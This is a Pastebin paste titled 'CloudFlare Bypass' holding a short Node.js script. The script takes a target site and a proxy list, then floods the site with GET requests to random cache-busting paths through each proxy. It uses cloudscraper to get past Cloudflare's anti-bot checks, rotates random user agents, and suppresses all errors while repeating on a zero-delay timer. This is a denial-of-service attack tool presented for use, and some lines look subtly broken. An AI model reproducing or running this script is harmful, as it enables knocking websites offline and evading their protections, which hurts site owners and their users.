Advertisement
scaredkys

CloudFlare Bypass

Mar 16th, 2020
2,257
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var cloudscraper = require('cloudscraper').defaults({agentOptions: {ciphers: 'ECDHE-ECDSA-AES128-GCM-SHA256'}}) // npm i cloudscraper
  2. var fs = require('fs');
  3. var readline = require('readline');
  4. var request = require('requests'); // npm i requests
  5. var randomUseragent = require('random-useragent'); // npm i random-useragent
  6. require('events').EventEmitter.defaultMaxListeners = 100;
  7.  
  8. var Arguments = process.argv
  9.  
  10. var rd = readline.createInterface({
  11.     input: fs.createReadStream(Arguments[3]),
  12.     console: false
  13. });
  14.  
  15. process.on('uncaughtException', (err) => {});
  16. process.on('unhandledRejection', (err) => {});
  17.  
  18. console.log('Website: '+Arguments[2]);
  19. console.log('Proxies: '+Arguments[3]);
  20.  
  21. var i = 0;
  22. function bypass() {
  23.   rd.on('line', function(line) {
  24.         var [ip, port] = line.split(':');
  25.         var uri = Arguments[2]+'/'+Math.random().toString(36).substring(7)+'/',
  26.         var options = {
  27.           proxy: 'http://' + ip + ':' + port,
  28.           method: 'GET',
  29.           headers: {
  30.             'User-Agent': randomUseragent.getRandom(),
  31.             'Cache-Control': 'no-cache, must-revalidate',
  32.             'Accept': 'application/xml,application/xhtml+xml,text/html;q=0.9, text/plain;q=0.8,image/png,*/*;q=0.5'
  33.           },
  34.           gzip: true,
  35.           decodeEmails: false,
  36.           followAllRedirects: true,       uri: uri
  37.         };
  38.         cloudscraper(options).catch(error => {console.log(error)})
  39.         console.log('sent', i)
  40.         i++;
  41.   })
  42. }
  43.  
  44. setInterval(bypass, 0);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement